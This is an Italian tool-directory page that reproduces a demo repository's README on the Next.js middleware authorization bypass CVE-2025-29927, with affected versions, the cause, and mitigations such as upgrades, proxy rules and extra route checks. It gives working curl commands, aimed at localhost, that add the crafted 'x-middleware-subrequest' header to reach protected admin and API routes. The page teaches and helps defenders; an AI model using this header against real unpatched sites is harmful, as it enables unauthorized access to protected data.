Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
nextjs-cve-demo — Dimostra la vulnerabilità di bypass dell'autorizzazione del Middleware in Next.js (CVE-2025-29927) che consente a utenti non autorizzati di accedere a informazioni protette. | Kitploit
Strumenti/GitHubGitHub/lstudlo/nextjs-cve-demo
Autenticazione e AutorizzazioneAnalisi delle VulnerabilitàSfruttamento di Applicazioni WebTest di Sicurezza delle APIConfigurazione ErrataApprendimento e Formazione
GitHublstudlo/nextjs-cve-demo

nextjs-cve-demo

Dimostra la vulnerabilità di bypass dell'autorizzazione del Middleware in Next.js (CVE-2025-29927) che consente a utenti non autorizzati di accedere a informazioni protette.

Vedi Repository
21 anno faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Esempio: Authorization Bypass in Next.js Middleware (CVE-2025-29927)

Questo repository fornisce un progetto di esempio che dimostra la vulnerabilità di bypass dell'autorizzazione nel middleware di Next.js (CVE-2025-29927). Questa vulnerabilità consente a utenti non autorizzati di accedere a risorse protette.

Panoramica della vulnerabilità

CVE-2025-29927 è una grave vulnerabilità di sicurezza (punteggio CVSS: 9.1) che colpisce il sistema middleware di Next.js. Un aggressore può bypassare completamente i controlli di sicurezza del middleware aggiungendo un header x-middleware-subrequest appositamente predisposto alla richiesta HTTP.

Versioni interessate

  • Next.js da 11.1.4 a 13.5.6
  • Versioni Next.js 14.x precedenti alla 14.2.25
  • Versioni Next.js 15.x precedenti alla 15.2.3

Impatto della vulnerabilità

  • Bypass dell'autorizzazione: un aggressore può accedere a percorsi protetti (come /admin) senza autenticazione
  • Bypass della sicurezza API: può accedere a endpoint API protetti (come /api/confidential)
  • Bypass degli header di sicurezza: se header di sicurezza come CSP, HSTS ecc. vengono impostati nel middleware, vengono anch'essi bypassati

Prerequisiti

  1. Node.js e npm installati
  2. Entrare nella cartella con cd ed eseguire npm install per installare le dipendenze
  3. Eseguire npm run dev per avviare il server di sviluppo Next.js
  4. Aprire http://localhost:3000 nel browser per vedere la pagina corrente del sito

Comprendere il principio della vulnerabilità

Next.js utilizza l'header interno x-middleware-subrequest per evitare che le chiamate ricorsive del middleware causino un ciclo infinito. Tuttavia, questo header può essere sfruttato da richieste esterne. Quando una richiesta include questo header e raggiunge la profondità massima di ricorsione (MAX_RECURSION_DEPTH), Next.js salta completamente l'esecuzione del middleware.

Come riprodurre la vulnerabilità

Passo 1: Accesso normale a un percorso protetto (verrà bloccato)

Per prima cosa, prova ad accedere normalmente a un percorso protetto:

root@kitploit:~
# 訪問受保護的管理員頁面
curl http://localhost:3000/admin/dashboard -v

Risultato atteso: verrai reindirizzato alla pagina di login (redirect 302 verso /login)

root@kitploit:~
# 訪問受保護的 API
curl http://localhost:3000/api/confidential -v

Risultato atteso: restituisce un errore 401 Unauthorized

Passo 2: Bypassare il middleware sfruttando la vulnerabilità

Ora, utilizza un header appositamente predisposto per bypassare il middleware:

root@kitploit:~
# 繞過 /admin 路徑保護
curl http://localhost:3000/admin/dashboard \
  -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
  -v

Risultato atteso: accesso riuscito al contenuto della pagina di amministrazione (200 OK)

root@kitploit:~
# 繞過 /api/confidential 保護
curl http://localhost:3000/api/confidential \
  -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
  -v

Risultato atteso: accesso riuscito all'API e recupero delle informazioni riservate (200 OK)

Passo 3: Test tramite browser

Puoi anche testare utilizzando gli strumenti per sviluppatori del browser:

  1. Apri gli strumenti per sviluppatori del browser (F12)
  2. Passa alla scheda Network
  3. Utilizza l'estensione ModHeader o uno strumento simile per aggiungere l'header:
    • Header Name: x-middleware-subrequest
    • Header Value: middleware:middleware:middleware:middleware:middleware
  4. Accedi a http://localhost:3000/admin/dashboard
  5. Dovresti vedere il contenuto della pagina di amministrazione invece di essere reindirizzato

Spiegazione della vulnerabilità

Quando il middleware riceve una richiesta contenente l'header x-middleware-subrequest:

  1. Next.js ritiene che si tratti di una chiamata ricorsiva interna
  2. Quando il valore dell'header contiene un numero sufficiente di marcatori middleware (5 ripetizioni), viene attivato il limite MAX_RECURSION_DEPTH
  3. Per evitare un ciclo infinito, Next.js salta completamente l'esecuzione del middleware
  4. La richiesta raggiunge direttamente la route di destinazione, bypassando tutti i controlli di sicurezza

Soluzioni di mitigazione

1. Aggiornare la versione di Next.js

Aggiorna a una versione corretta:

  • 12.x: aggiorna a 12.3.5 o superiore
  • 13.x: aggiorna a 13.5.9 o superiore
  • 14.x: aggiorna a 14.2.25 o superiore
  • 15.x: aggiorna a 15.2.3 o superiore

2. Misure di mitigazione temporanee

Se non è possibile aggiornare immediatamente, puoi bloccare a livello di reverse proxy (Nginx, Apache, ecc.) le richieste contenenti l'header x-middleware-subrequest:

Esempio di configurazione Nginx:

root@kitploit:~
location / {
    if ($http_x_middleware_subrequest) {
        return 403;
    }
    proxy_pass http://localhost:3000;
}

Esempio di configurazione Apache:

root@kitploit:~
RequestHeader unset x-middleware-subrequest

3. Difesa in profondità

Oltre al middleware, implementa controlli di autenticazione anche nei gestori di route:

root@kitploit:~
// 在 API 路由中添加額外的認證檢查
export async function GET(request) {
    // 不要只依賴 middleware,在這裡也檢查認證
    if (!isAuthenticated(request)) {
        return new Response('Unauthorized', { status: 401 });
    }
    // ... 處理請求
}

Riferimenti

  • Next.js Security Advisory (GHSA-f82v-jwr5-mffw)
  • CVE-2025-29927 Details
  • Next.js Middleware Documentation
Scarica lo strumento